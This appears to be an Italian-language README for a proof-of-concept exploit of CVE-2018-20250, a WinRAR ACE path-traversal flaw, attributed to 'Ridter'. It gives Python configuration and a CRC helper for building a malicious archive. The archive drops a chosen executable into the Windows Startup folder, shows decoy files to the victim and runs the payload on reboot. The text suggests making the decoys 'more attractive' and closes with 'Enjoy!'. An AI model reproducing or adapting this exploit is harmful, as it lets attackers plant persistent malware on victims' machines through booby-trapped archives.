
Genera automaticamente archivi RAR dannosi per sfruttare CVE-2018-20250 e ottenere l'esecuzione di codice tramite il path traversal ACE di WinRAR.
exp per Estrarre l'esecuzione di codice da Winrar
PoC di Ridter
Come usare?
Ti basta installare Python 3.7, preparare un file malevolo che vuoi eseguire, impostare i valori desiderati, questo script exp genererà automaticamente il file archivio malevolo!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rartest.rar, vedrà i file hello.txt e world.txt. Puoi anche aggiungere più file, file più attraenti.![]()
hi.exe, che in realtà è calc.exe. Quando riavvia il computer, hi.exe verrà eseguito.![]()
Divertiti! :)